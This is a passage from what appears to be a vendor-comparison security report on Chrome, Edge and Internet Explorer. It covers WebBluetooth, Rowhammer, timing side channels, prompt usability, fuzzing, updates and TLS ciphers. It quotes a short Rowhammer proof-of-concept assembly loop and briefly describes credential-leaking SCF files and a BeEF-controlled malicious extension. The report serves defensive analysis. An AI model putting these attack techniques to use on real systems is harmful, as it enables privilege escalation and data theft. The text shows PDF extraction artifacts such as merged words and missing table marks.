Access to Bluetooth devices introduces similar security considerations asWebUSB, in that Bluetooth device
manufacturers are unlikely to be as familiar with security and potential attacks as web browser developers
and users will have a hard time understanding the potential impact of granting access to a device to a
malicious party. X41 D-Sec GmbH does not see the requirement of mandatory permission granting by
users as mitigating this threat completely. Users are likely to grant permissions to devices that they do not
consider as important, not realizing that the attacker might be able to compromise this device and use it as
a staging point for further attacks against the system. The pairing of Bluetooth devices was not designed to
incorporate permissions to control what services can be offered by devices. This means a compromised
Bluetooth device could bemanipulated to offer additional services. A compromised device might try to
emulate a Bluetooth keyboard HID to interact with the target system and elevate privileges by entering
commands directly.
Theorigin restriction should limit access toBluetoothdevices to those that havebeengrantedpermissionby
the user. This depends on the enforcement of the same origin policy and assumes that noXSS vulnerabilities
exist in the website, extensions or the browser itself, as these would allow a malicious user to access a
device by injecting code into an origin that has been granted such access. Also, bugs in the permissions UI
of a web browsermight be used tomislead users into giving permissions tomalicious websites.

13.2.2 Malicious Bluetooth Devices
An attacker might try to get a user to use a malicious Bluetooth device with a sensitive website. Once
the user grants the website permission to access the device, the device might try to attack the website.
Obviously, the device could also try to attack the operating system and Bluetooth drivers, but since the
browser is not involved in such attacks, this is outside the scope of this document.
For instance, if a website takes data from amalicious Bluetooth device and shows this on the page, this
may open up an attack vector for XSS vulnerabilities in that website. Also, any sensitive data provided
13https://webbluetoothcg.github.io/web-bluetooth/#dom-requestdeviceoptions-filters
14https://developer.microsoft.com/en-us/microsoft-edge/platform/status/webbluetooth/
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by thewebsite to themalicious Bluetooth devicemay be leaked to the attacker that controls the device.
Depending on how a device is used by a website, theremay bemany other potential attack vectors.
Awebsite looking to interact with a Bluetooth device should therefore consider the possibility that that
device it connects might be compromised and should attempt to prevent or detect this and limit the impact
of malicious devices.

13.2.3 Comparison
In contrast to Google Chrome, bothMicrosoft Edge and Internet Explorer do not support APIs to access
peripherals such as USB or Bluetooth devices fromweb contexts. This makes a comparison of their design
and implementation impossible. In general, WebUSB andWebBluetooth increase the attack surface of a
browser and due to the complexity involved, and there is a risk that new security issues are introduced. The
API is exposed via JavaScript to all websites. Google Chrome has made an effort to harden this API and
make it as safe to use as possible. We consider it positive, that access permissions granted to webpages
are not persistent, but cleared when the browser is terminated. Since this might change in the future,
the current behavior should not be relied upon for policy decisions. Having a public API for peripheral
device access that was designed with security in mind does offer advantages over custom implementations
that use extensions and plugins to achieve similar features: such third party code is unlikely to have been
developed by developers that are as security conscious as those that work onweb browsers, or reviewed
by security researchers.
In conclusion, we consider Microsoft Edge and Internet Explorer to have a smaller attack surface than
Google Chrome by default regarding peripheral device access.
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14 Attacks Using Hardware Defects

Features, faults, and specific properties of hardware have been used as an attack vector in the past. Attacks
using glitches1 and side channels have been published that compromised secure systems such as the Xbox
3602. In this chapter wewill look at the possibility of exploiting such vulnerabilities from the browser.
The faults andattacks describedhere arehardwareproblemsandnot implementationflawsof software. We
consider browsers as one of several relevant attack vectors that can be used to conduct such attacks. They
include virtual machines such as the JavaScript Engine, which provide attackers with powerful primitives
that may allow attacks against hardware.

14.1 ROWHAMMER AND FAULT ATTACKS
While not always easy to conduct and not reliable, fault attacks can be very powerful because theywork
outside of the security assumptions of operating system kernels, firmware, andmost software designs in
general today. Glitchesmay be used to flip bits in memory between supposedly atomic operations without
the operating system kernel being aware.
Fault attacks usually required dedicated equipment and special knowledge. But in 2014 a paper3 described
an attack that would become widely know as Rowhammer4 in 2015, which could be performed from
software without any additional requirements. In short, Rowhammer works by repeatedly accessing a
“row” of memory in aDynamic Random-Access Memory (DRAM) chip in an attempt to cause a bit flips in an
adjacent memory row of that chip. On current Intel architectures the physical DRAMhas no separate trust
zones: a row of memory accessible to an unprivileged process can physically be immediately adjacent to a
row belonging to the SystemManagementMode (SMM), which has the highest possible privileges on the
system. The feasibility of this type of attack was publicly demonstrated5 in 2015 for the first time byMark
Seaborn and Thomas Dullien from the Google Security team. Theywere able to prove that these bit-flips
1https://en.wikipedia.org/wiki/Glitch
2https://www.blackhat.com/docs/eu-15/materials/eu-15-Giller-Implementing-Electrical-Glitching-Attacks.p

df
3https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
4https://www.google.com/patents/US20140006703
5https://googleprojectzero.blogspot.de/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
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could be used to reliably escalate privileges in real systems. Themost interesting thing about this attack is
that hardware based faults are being exploited purely from software in order to attack other parts of the
software running on the hardware.
Tiny code snippets can cause such a bit-flip, as seen in the code (see listing 14.1) taken from the Project
Zero blogpost6:

1 code1a:
2 mov (X), %eax // Read from address X
3 mov (Y), %ebx // Read from address Y
4 clflush (X) // Flush cache for address X
5 clflush (Y) // Flush cache for address Y
6 jmp code1a

Listing 14.1: rowhammer PoC

Note that caching can get in the way of a Rowhammer attack by preventing the physical DRAM chip from
being accessed, so in the example code the cache is flushed using clflush instructions.
Because of the nature of the bug and the ease bywhich it can be exploited, all places where attackers can
perform general purpose computations are potential attack vectors. This includes web browsers, which
offer attackers a large amount of control over the CPU and RAM throughweb pages under their control.
While it was initially believed that JavaScript could not be used to exploit Rowhammer, a paper7 and
accompanying proof-of-concept8 called “Rowhammer.js: A Remote Software-Induced Fault Attack in JavaScript”
by D. Gruss, C. Maurice, and S. Mangard showed that it is practically possible to exploit a Rowhammer issue
using JavaScript in a web browser.

14.1.1 State of RowhammerMitigations in Different Browsers
At the time of writing, nomitigation against Rowhammer is known to be implemented in Google Chrome,
Microsoft Edge, or Internet Explorer. Kernel level mitigations were proposed9, but have not yet been
adopted onMicrosoftWindows. This means that no browser is more or less secure than any of the others
at the time of writing.
It is a matter of debate if browsers would be able to and should attempt to protect against such types of
attack since Rowhammer is not caused by a problem in the browser itself and exploits for it often target
the OS or the SMM, which are not part of the browser. However, such issues are unreliable due to their
probabilistic nature, and attacks will often needmany attempts to succeed, whichmight offer a chance for
them to be detected before they are successful. Attacks such as Rowhammer can bemitigated at hardware
6https://googleprojectzero.blogspot.de/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
7https://link.springer.com/chapter/10.1007/978-3-319-40667-1_15
8https://github.com/IAIK/rowhammerjs
9https://lwn.net/Articles/704920/
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level, by introducing error detection or memory row activation counting and blocking accesses after a
certain threshold is reached. Research10 shows that simple Error Correcting Code (ECC) memory can only
partially mitigate Rowhammer.
However, fault attacks are a problem in general that can circumvent the security model andmitigations of a
browser via targeted attacks.
We believe that theoretical mitigations against data only attacks may also be effective against Rowhammer.
Suchmitigations could include randomization and runtime integrity checking of important data structures.
The former would make exploitation less reliable while the latter could detect attacks and faults more
easily. While suchmitigations are probably easiest to implement on a kernel or hardware level, we believe
they should be implemented on all levels.

14.2 HIGH RESOLUTION TIMERS
Side channel attacks are another way of breaking the security assumptions of many systems. In a classical
side channel attack working on a modern multithreaded CPU, information about other processes may
be leaked via caches. Information that is cached can be accessed quicker than information that is not.
This timing difference may be used to leak sensitive information from a target process. An important
precondition for a successful attack is the availability of a way tomeasure the timing differences directly, or
calculate them statistically. High resolution timers, which are available in some browsers, can be used to
measure these timing difference directly.
We tested various ways to implement high resolution timers and verified their accuracy. This includes using
SharedArray Buffers, setTimeout, setImmediate, and performance.now() tomeasure time and schedule tasks
in JavaScript. These and other methods are described in academic papers such as “Fantastic Timers and
Where to Find Them: High-ResolutionMicroarchitectural Attacks in JavaScript” byM. Schwarz, C.Maurice, D.
Gruss, and S.Mangard11. We created examples to identify the best resolution possible with eachmethod
and tested them independently. The results are given in table 14.1.

Timer Google Chrome Microsoft Edge Internet Explorer
performance.now() 0.005ms 0.005ms 0.005ms
setTimeout 5ms 5ms 5ms
setImmediate N/A 0.075ms 0.065ms
Shared Array Buffers 0.000003ms (3ns) 0.000003ms (3ns) N/A

Table 14.1: Timer Resolution in Different Browsers

10https://users.ece.cmu.edu/~omutlu/pub/dram-row-hammer_kim_talk_isca14.pdf
11https://gruss.cc/files/fantastictimers.pdf
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There aremanymore ways tomeasure time in JavaScript, including the newer asynchronous functionality
andwebworkers, which provide asynchronous computation in separate threads and shared data. As seen
above the shared data using Shared Array Buffers provides a resolution that is similar tomeasurements in
native code. Shared Array Buffers were only available on Google Chrome andMicrosoft Edge and had to be
explicitly enabled by the user as experimental features.
A PoC implementing high resolution time measurement using Shared Array Buffers is available in ap-
pendix A.
We did not observe anymitigations employed by the tested browsers that attempt to prevent accurately
measuring time. Possiblemitigations could include randomized delays or artificial jitter. High resolution
timers are a necessary precondition of timing attacks and available in Google Chrome andMicrosoft Edge
where Shared Array Buffers are available. The reliability and performance (speed) of such an attack depend
highly on the environment and target of the attack.
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15 Security Aspects Related to Usabil-
ity

Cases of software or hardware both very secure and very usable are not easy to find. A layered security
approach will inevitably lower the usability, having the potential side effect of making users more prone to
make errors. This could become a double-edged sword, where the lack of usability in a system - although
being very secure - might affect the way users interact with it, opening up for security holes.
Over the previous chapters, specifically those about Browser Extensions and Phishing, various examples
of browser behaviors with bad usability where introduced, and they are brought back from a usability
perspective in this chapter.

15.1 GENERAL CONSIDERATIONS
Themain issue of security UIs in browsers is that they are usually built by technical people for technical
people. The average non-technical user base, which is the vast majority, can not understandmixed content
or HTA prompts. The evolution of themixed content dialogues starts from Internet Explorer 7, where the
infamous prompt was as shown in figure 15.1.

Figure 15.1: TheMixed Content prompt in Internet Explorer 7

It is quite clear that the user would click Yes, especially a non-technical onewho just wants to see thewhole
page content regardless of the consequences of his actions. Things got better with the next versions, where
the secure choice was the default one, together with more context about the consequences of the user
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action. In the latest Internet Explorer andMicrosoft Edge browsers themixed content dialogue looks like
in figure 15.2.

Figure 15.2: TheMixed Content prompt in latestMicrosoft browsers

GoogleChromehas beenblockingmixed content formany years, disabling bydefault the loading of insecure
content while displaying a shield icon in the Omnibox browser bar. Users that want to enable insecure
content should perform multiple clicks, which is more inconvenient than clicking the ’Show all content’
button 15.2 inMicrosoft browsers.
Themixed content implementation is the proof that it is sometimes possible to achieve good security, as in
preventing insecure resources to be loaded from secure origins, without any trade-off with usability. Since
the secure choice is default andmany sites owners stoppedmixing contents knowing that browsers were
blocking it, end users rarely need to enable insecure content. Moreover, this is also a good example of how
security and usability improvements implemented in browsers can become beneficial to the whole web
ecosystem.
HTAs are a good example of a technology that given its bad usability was and still is abused by attackers
to target un-aware users. The lack of a clear origin indication (’a website’ is not clear at all), the confusing
presence ofMicrosoft in both the name and the publisher of the HTA, as well as the usage of the yellow
color which is not a direct indicator of something good or bad, make HTAs a perfect feature to be abused by
attackers (see figure 15.3).

Figure 15.3: HTA security prompt

Microsoft Edge takes amore conservative approach, and both security and usability was improved a lot
when compared to Internet Explorer. HTA are not supported anymore, which was a wise decision since the
consequence of a user being confused on the HTA security prompt results in arbitrary code execution.
Attackers will always look at new browser features where security prompts are confusing, or not really
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helping the user tomake a safe choice, findingways to abuse it. ThewayMicrosoft approached the usability
of Office macros is very similar to the HTA prompts. In case of macros, the attacker needs to convince
the user to click once on ’Enable Content’, and on most Office versions (in the latest one they added an
additional click to be performed) that will lead to arbitrary code execution with relatively trivial social
engineering tricks.
Generally speaking, leaving the decision to the user when displaying a security prompt, it is not themost
secure approach. A secure approachwould be following: have safe default choices that the user cannot
really changewith a randomclick on a prompt, but eventually changing browser internals (about:flags and
equivalents). Thinking that by simply showing a prompt with a binary choice the end user can understand
why a site is askingmicrophone or camera permissions, it is just having toomuch faith in humans. A safer
approach, although less usable, is to block camera andmicrophone access by default, while adding the few
origins that are allowed in a whitelist. Google Chrome allows such behavior, however it is not the default
one, as seen in figure 15.4.

Figure 15.4: Camera andMicrophone settings in Google Chrome

As discussed in the Enterprise Features chapter, sysadmins can configure Google Chrome default content
setting permissions as well as extensions in a centralized way. This makes it very easy to enforce that only
whitelisted origins can use themicrophone or camera.
There are also cases of browser features such as automatic downloads that are supposed to increase the
usability but could eventually lower security. An example of that was discussed in the Phishing chapter
whenmentioning SCF files that were auto downloaded by Google Chrome and could be used by attackers
to extractWindows credentials via an SMB remote resource.

15.2 BROWSER EXTENSIONS CONSIDERATIONS
When browser extensions are installed, the permissions requested by the extension are displayed in a
dialog. From a usability perspective, since permissions are simple strings in amanifest file, the permission
dialogue should have a concise explanation of what are the consequences of having some permissions.
However, not all permissions correspond to an entry in the dialog.
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The next two figures show an example of the same extension with different permissions. The first case
of figure 15.5 shows more permissions being requested, however in the second case of figure 15.6 the
extension is still very dangerously requesting open permissions even if only one entry is present in the
permission dialog. Another thing that can be noted is that there is no clear indication or mapping about the
background, storage, webRequest and cookie permissions. The information provided in figure 15.6 is not
enough for the non-technical end user that does not want to investigate themanifest file manually to know
that extension will havemore access thanwhat is actually displayed in the dialog.

Figure 15.5: Extension asking for a number of permissions

Figure 15.6: The same extension asking for less permissions while still being potentially malicious

From a usability perspective, there is practically no difference in the permissions dialogue for a very famous
extension used bymillions of users such as AdBlock, and the one from themalicious extension created as
part of this analysis andmentioned in the Browser Extension chapter. This means a user will have difficulty
discerning if an extension is potentially unsafe or malicious by the permissions dialogues. As shown in
figure 15.7 AdBlock looks potentially more intrusive than the fake Adobe Flash Update extension, however
there is no information for the user regarding the fact the second extension is malicious andwill make any
tabs open controlled via BeEF.
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Figure 15.7: Permission dialogue comparison between AdBlock and the fake Adobe Flash Update

15.3 ADDRESS BAR CONSIDERATIONS
The browser address bar is one of themain interfaces between the user and the browser. It is critical that
the information displayed in the bar is visually clear, in order to help users immediately recognize the site
and if the connection to it is secure. For instance, if there is an SSL certificatemismatch, or an HTTP site
with a login page, the browser should inform the user about the dangerous context via the address bar,
ideally without any additional clicks required.
Address bar spoofing bugs are not uncommon though. Microsoft Edgewas affected by a number of them
that were patched in ms17-0071, but also Google Chrome in April 2017with version 58 patched a serious
issue related to Internationalized domain name (IDN)2.
The homograph protectionmechanism of Google Chromewas bypassed by Xudong Zheng3 by replacing
every character of anFullyQualifiedDomainName (FQDN)with equivalent characters froma single foreign
language. The example of the original PoC used Cyrillic to represent apple.com as xn–80ak6aa92e.com.
Internet Explorer andMicrosoft Edgewere vulnerable only if theOS language was set to Cyrillic.
The diagram in figure 15.8 shows a comparison of the information displayed in the address bar:
Internet Explorer is the browser that gives less information in the address bar: both the green color and
the padlock are used only when sites expose EV-SSL certificates. Microsoft Edge address bar improved if
compared to Internet Explorer: the padlock is used also with standard SSL certificates, but not the green
color, which appears only with EV-SSL ones.
1https://technet.microsoft.com/library/security/ms17-007
2https://www.chromium.org/developers/design-documents/idn-in-google-chrome
3https://www.xudongz.com/blog/2017/idn-phishing/
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Figure 15.8: Browser address bar comparison

Google Chrome behaves differently, using both the padlock and the green color for all types of SSL sites
(unless mixed content is affecting the site). Moreover, it is the only browser that alerts the user if the
connection is not secure for a certificatemismatch, or if the site contains input fields for credentials, credit
cards, and other sensitive information over HTTP.
Google Chrome has themost intuitive and informative browser address bar, and an higher usability than
the other browser analyzed.
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16 Fuzzing and Automated Testing

Fuzzing is a technique to identify security vulnerabilities by generating inputs that are likely to trigger
issues and feeding this to the application automatically and repeatedly. The aim is to use brute-force to
automatically find data that triggers a security issue, in a manner that scales easily. It is widely used in
security research, especially in the area of browser security.
Ad-hoc fuzzing of web browsers has been done since at least the early 2000s by individuals and vendors.
Over the years, some efforts have grown to bemore systematic, continuous and large-scaled. All tested
browsers were found to be subject to fuzzing by their vendors as well as third parties at the time of this
report.

16.1 THIRD-PARTY FUZZING
It is impossible to determine exact numbers for third-party fuzzing of browsers, as it is almost certain that
there are parties that want to keep their efforts hidden from the public. But over the years, many security
researchers have released details of their efforts, published their fuzzers, or stated that one or more of
the issues they reported to the browser vendor was found through fuzzing. One of the authors of this
paper himself is continuously fuzzing Google Chrome,Microsoft Edge and Internet Explorer. From this,
X41D-Sec GmbH believes it is safe to assume that at any time, there aremany third parties fuzzing all the
target browsers.
From the end-user’s point of view these third-party efforts may be divided into two groups. The first
groupwants to report the issues they find to the vendor and see them fixed, will have a positive effect on
security for the end-user. The second groupwants to keep the issues they find private to exploit them. This
group negatively impacts the end-user security, as the end-user may be the target of their attacks, or their
attackmay be indiscriminate, as seen in computer worms, phishing and othermalware. Alternatively, the
information about these security issues may be sold or stolen, increasing the risk that it will be used against
an end-user. Unfortunately, the fact that these third parties want to keep their efforts secret means they
are the hardest to get any data for: we simply do not know the number of people involved, the effectiveness
of their fuzzers, or the scale at which their fuzzers are run.
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The effectiveness of third-party fuzzing depends on various variables. First of all, the ability to detect issues
triggered by fuzzing is paramount. For memory corruption issues, this can be done by adding additional
checks to the code at compile time, that continuously check if the code is misbehaving. There are various
projects that can be used to implement such checks, AddressSanitizer (ASAN)1 being one of them. Having
access to source code and a build-system is a requirement for anyonewanting to compile a browser with
such extra checks built-in. The only browser tested that provides this is Google Chrome. The browser
vendor could also create such builds and publish them to allow third parties to use themwhile avoiding
the need tomake source code and build systems available. Of the tested browsers, only Google Chrome
provides such binaries2.
Another option is to add similar checks at run-time. However, because a lot of context is lost during
compilation, it is hard to implement these checks with similar granularity and effectiveness as compile-
time checks. Thus, run-time checks cannot be as adapt at detecting issues as compile-time checks can.
PageHeap3 is an example of a project that can be used to add such checks. All browsers tested provide
ways of running with PageHeap enabled.
The ability to run a browser in a debugger makes it easier to detect and analyzememory corruption issues.
Because Google Chrome and Internet Explorer are traditional desktop applications, existing debugging
tools can be used. This makes it easy for anyone familiar with common debuggers for the Windows
platform to debug these applications. Microsoft Edge on the other hand is a so called UWP application
(also known as aWindows Store app orMetro-style app). This means that it is subject to Process Lifetime
Management (PLM). It is therefore not started using a command-line, but rather by asking theOS to activate
the application. The OS will then start one or more processes from a service specially created for this
purpose. This makes it impossible to debugMicrosoft Edge in traditional ways.
TheDebuggingTools forWindowsprovides a tool calledplmdebug.exe4 that canbeused to attachadebugger
to some processes that are part ofMicrosoft Edge. However, this does not allow the user to debug these
processes using a single debugger instance. This also does not include the broker processes or the process
that hosts the window. Microsoft has not made any tools available to automatically debug these processes
as well in a single debugger instance. One of the authors of this paper created EdgeDbg5 to accomplish this.
It can be used to debug all relevant processes related toMicrosoft Edge, including the brokers. However,
starting with Microsoft Edge version .15063 (a.k.a. the Creators Edition), the way content processes are
started has changed, which prevents this tool from attaching to them. This means that there are no public
tools that can be used to automatically debug all processes relevant to the tested version of Microsoft
Edge. We believe this provides a significant hurdle to third-party fuzzing, as onemust first understand this
problem and then implement a solution before being able to properly detect memory corruption issues.
The BugId6 application was updated in the process of writing this paper to allow it debugMicrosoft Edge
versions from .15063 onward. It does not allowmanual debugging ofMicrosoft Edge, but can be used to
1https://github.com/google/sanitizers
2https://commondatastorage.googleapis.com/chromium-browser-asan/index.html
3https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags-and-pageheap
4https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/plmdebug
5https://github.com/SkyLined/EdgeDbg
6https://github.com/SkyLined/BugId
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detect and analyze crashes during fuzzing.
The second factor that affects the effectiveness of third-party fuzzing is the skills of the persons developing
the fuzzers. We do not assume this is a factor that affects one browsermore than another; it makes sense
for any third-party writing a fuzzer to run it in as many browsers as possible, to find as many issues as
possible. If most people are fuzzing multiple browsers, their skill level should even out over these browsers.
The third factor is the ability to effectively target various browser features. This can be broken down into
several things:

• the availability of documentation for these features that provides useful insight into how they should
operate andwhat security guarantees they are expected to provide

• the availability of source code for these features to also determine how they are expected to behave
and how theymight fail.

• the availability of builds that provide feedback on the effectiveness of fuzzing and/or feedback that
can be used to guide fuzzing in a way that increases the coverage and effectiveness.

The most important difference between the subjects of this paper is of course the availability of source
code and a build-system for themost relevant parts of Google Chrome, whereMicrosoft Edge and Internet
Explorer are almost entirely closed-source. Google Chrome is also available in special builds designed to
detect various issues that may otherwise go unnoticed, which is very helpful in fuzzing. NeitherMicrosoft
Edge nor Internet Explorer has such a build. This means that some forms of fuzzing that rely on these are
not currently possible for third parties.
The net effect is that most tools available to help third parties get set up and run fuzzers are designed for
open-source projects, creating a speed-bump for fuzzing closed-source projects such asMicrosoft Edge
and Internet Explorer.
In the short term, whether the availability of source code and special builds is a benefit to the end-user’s
security or a risk can be debated. It depends on all the factors mentioned above, as well as the specific
end-user’s risk of being targeted by amalicious third party. The ability of this third-party to effectively find
issues vs. that of the vendor’s and third parties that do report issues also plays a role. And finally, the risk of
such third parties losing control over the issue they find can impact the security of any end-user.
In the long run, third parties finding and reporting issues to vendors prevents these issues from being
exploited by attackers, limiting the time amalicious attacker can use them and requiring that attacker to
investmore time and resources into finding additional issues. This increases the security of the average end-
user as well as the cost for potential attackers. This diminishes returns for attackers over time, potentially
to a point where it is not cost effective anymore, though that may be a long time off and certainly would not
apply to themost well funded attackers.
The ability to use the source code as guidancewhile developing fuzzers, and create instrumented builds has
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made it easier for third parties to fuzz Google Chrome effectively than the closed sourceMicrosoft Edge
and Internet Explorer browser. The lack of tools to easily debug all processes related to themost recent
versions ofMicrosoft Edge can provide an obstacle for anyonewanting to detect any issues triggered by
their fuzzers. X41D-Sec GmbH believes that third-party fuzzing improves the security of browsers in the
long run, and that all browsers has been around long enough for this to have taken effect. Google Chrome
will have hadmore benefit from this than eitherMicrosoft Edge or Internet Explorer, as it is easier to fuzz
effectively for the above reasons.

16.2 VENDOR FUZZING EFFORTS - GOOGLE CHROME
The Google Chrome browser is subject to extensive continuous fuzzing by the Chrome Security Team.
Google has provided us with some statistics for their current fuzzing operations. The object code of the
Chromium project is fuzzed continuously with 15.000 cores. There are over 500 parts of the code that
are specifically targeted in these efforts, where half are directly related to Chromium, and half belong to
OSS-fuzz7.
The Google Chrome security team also selectively invites external reporters that have shown to write
effective fuzzers to run these fuzzers on their systems and rewards the reporter for every bug found in
the process. This allows the external reporter to take advantage of the fuzzing infrastructure available to
Google, vastly improving the number of issues they can find in a given time-frame.

16.3 VENDOR FUZZING EFFORTS - MICROSOFT EDGE AND INTERNET EX-
PLORER

According to a blogpost8 from 2016 byMicrosoft, theMicrosoft Edge and Internet Explorer browsers were
subject to fuzzing in order to eliminate vulnerabilities before release:

We’ve devoted more than 670 machine-years to fuzz testing Microsoft Edge and Internet
Explorer during product development, including monitoring for possible exceptions such as
crashes or memory leaks. We’ve also generated more than 400-billion DOMmanipulations
from 1-billion HTML files. Because of all of this, hundreds of security issues were addressed
before the product shipped.

Microsoft does not currently publish any statistics about their ongoing fuzzing efforts forMicrosoft Edge
and Internet Explorer.
7https://github.com/google/oss-fuzz
8https://docs.microsoft.com/en-us/microsoft-edge/deploy/security-enhancements-microsoft-edge
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Assuming that the "machine-years" mentioned byMicrosoft refer to single core machines, and that Mi-
crosoft uses the same number of cores as Google, Microsoft Edge could have been fuzzed for 670machine-
years in roughly 16 days. In contrast, Google has been fuzzing Google Chrome continuously for years. This
suggests that Microsoft’s fuzzing efforts for Microsoft Edge pale in comparison to Google’s efforts for
Google Chrome.
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17 Updates

This section analyzes the way the different browsers are updated to see if there are any security relevant
differences. All three browsers force updates to the latest version by default to spread security updates to
the users as fast as possible. Both vendors partially use HTTP during the update process, which creates an
attack surface, that should be protected by HTTPS. Attackers can see, which software people try to update
via the Content Delivery Network (CDN) and can use this information to block the update and attack issues
in the previous version of this software. If this process is encrypted via HTTPS, the attacker is missing the
information whether a victim updates Google Chrome or e.g. Google Earth. Additionally, attackers are able
to attack the HTTPS stack, as well as the update implementation. By encapsulating the download in HTTPS
instead of HTTP, the TLS implementation needs to be circumvented first, before the updater itself could be
attacked.

17.1 GOOGLE CHROME
For Google Chrome browsers, theGoogleUpdateCore.exe handles the update process, via theOmaha pro-
tocol1, which is partly open sourced2. Downloads are retrieved from a CDN (redirector.gvt1.com) via
HTTP. TheOmaha protocol uses Client-Update Protocol (CUP)3 to ensure trusted downloads evenwhen
HTTPS is not available, by exchanging signed hashes of the files to be downloaded.

17.2 MICROSOFT EDGE AND INTERNET EXPLORER
The browsers developed byMicrosoft are updated along with theMicrosoftWindows operating system.
These updates are usually performed viaMicrosoft update servers, but it can be reconfigured to use a local
Windows Server Update Services (WSUS) tomanage updates for an entire company at a central location.
InMicrosoftWindows 10, updates aremandatory and forced onto the users by default, with no easyway of
disabling. The update process is controlled bywuauclt.exe. Additionally to downloading from central update
1https://github.com/google/omaha/blob/master/doc/ServerProtocolV3.md
2https://github.com/google/omaha
3https://github.com/google/omaha/blob/master/doc/cup.html
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servers, MicrosoftWindows 10 additionally uses a Peer to Peer (P2P) network approach calledWindows
Update DeliveryOptimization to spread updates faster4 (Background Intelligent Transfer Service (BITS)
protocol). Microsoft updates are downloaded by a combination of HTTP andHTTPS requests to different
hosts5.

• http://windowsupdate.microsoft.com

• http://*.windowsupdate.microsoft.com

• https://*.windowsupdate.microsoft.com

• http://*.update.microsoft.com

• https://*.update.microsoft.com

• http://*.windowsupdate.com

• http://download.windowsupdate.com

• http://download.microsoft.com

• http://*.download.windowsupdate.com

• http://test.stats.update.microsoft.com

• http://ntservicepack.microsoft.com

The actual download of the packages happens via HTTP, similar to the Google Chrome update process.

4https://docs.microsoft.com/en-us/windows/configuration/manage-connections-from-windows-operating-syste
m-components-to-microsoft-services#bkmk-updates
5https://technet.microsoft.com/en-us/library/bb693717.aspx
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18 Cryptography

The cryptographic algorithms and protocols used for transport encryption and integrity in connections
secured by TLS are compared in this section. Weak encryption and hashing algorithmsmay allow attacks
against otherwise secure protocols. Modern web browsers therefore disable many of these protocols and
algorithms.
As a reference test, the SSL Client Test1 ofQualys SSL LABSwas chosen.
The tested browsers are identified by their User-Agent string, as shown in table 18.1.

Browser User Agent
Google Chrome Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/59.0.3071.86 Safari/537.36Microsoft Edge Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

Internet Explorer Mozilla/5.0 (WindowsNT 10.0;WOW64; Trident/7.0; rv:11.0) like Gecko

Table 18.1: Browser User Agents

As expected no browser is vulnerable to the three prominent SSL and TLS vulnerabilities Logjam2, FREAK3,
and POODLE4.

18.1 SUPPORTED PROTOCOLS
1https://www.ssllabs.com/ssltest/viewMyClient.html
2https://weakdh.org
3https://www.freakattack.com
4https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html
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Protocol Google Chrome Microsoft Edge Internet Explorer
TLS 1.3 # # #
TLS 1.2    
TLS 1.1    
TLS 1.0    
SSL 3 # # #
SSL 2 # # #

Table 18.2: Secure Transport Protocols Supported by Browsers ( - True,# - False,G# - Partly)

All browsers reject the insecure protocols SSL version 2 and version 3 (see table 18.2), and all browsers
support TLS versions 1.0, 1.1, and 1.2. No browser supports the draft version of TLS version 1.3. Support
for version 1.3 is under active development56 in Google Chrome,Microsoft Edge, and Internet Explorer.

18.1.1 Downgrade Attacks
Downgrade attacks involve an attacker forcing two ormore parties to use less secure protocols for com-
munication. When a secure communication channel is set up, the parties involved will attempt to agree
on a protocol to use. Ideally, they will agree to use themost secure protocol that both parties support. An
attacker could attempt to tamper with this step to get the parties to agree to use a less secure protocol. In
case of TLS and SSL this is possible if a network level attacker injects ormodifies traffic in order tomake
handshakes using the stronger protocols fail. As seen in table 18.2, all browsers support TLS version 1.0
which lacks the AES-GCM and ChaCha20-Poly1305 ciphers.
Google Chrome supports a Signaling Cipher Suite Value (SCSV) value that aims to prevent protocol down-
grade attacks. This mechanism allows a client to indicate the preferred cipher when a protocol downgrade
is necessary. This allows the server to detect when an unnecessary downgrade has taken place. More
information is given in RFC75077. Microsoft Edge and Internet Explorer do not support this feature, and
Microsoft8 currently has no plans to support it.
The SCSV is sent in the client hello message. While this client hello message has no integrity check or
signature by itself, it is verified retroactively using the “Finished”message as described in RFC5246, section
7.4.99. Even if aMITM capable attacker modifies the SCSV in order to attempt to hide a downgrade attack,
the “Finished”message can be used to detect this since it contains a hash over all the previousmessages
and is integrity checked.
However, because this check is retroactive (the connection using a potentially downgraded cipher is
established first), for a completely broken cipher the integrity check of the “Finished” message could be
5https://www.chromestatus.com/feature/5712755738804224
6https://blogs.windows.com/msedgedev/2016/06/15/building-a-faster-and-more-secure-web-with-tcp-fast-ope

n-tls-false-start-and-tls-1-3/
7https://tools.ietf.org/html/rfc7507
8https://connect.microsoft.com/IE/feedback/details/1002874/internet-explorer-should-send-tls-fallback-s

csv
9https://tools.ietf.org/html/rfc5246#section-7.4.9
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compromised by an attacker capable of creating a valid signature on this message. We do not consider this
to be very probable given the quality of the ciphers present in all tested browsers. It should be kept in mind
as a limiting factor during security considerations regarding a SCSV.
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18.2 SUPPORTED CIPHER SUITES
Cipher Suite Google Chrome Microsoft Edge Internet Explorer
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
(0xc02c) Forward Secrecy

   

TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
(0xc02b) Forward Secrecy

   

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(0xc030) Forward Secrecy

   

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(0xc02f) Forward Secrecy

   

TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
(0xc024) Forward Secrecy

#   

TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
(0xc023) Forward Secrecy

#   

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
(0xc028) Forward Secrecy

#   

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
(0xc027) Forward Secrecy

#   

TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
(0xc00a) Forward Secrecy

#   

TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
(0xc009) Forward Secrecy

#   

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Forward Secrecy

   

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Forward Secrecy

   

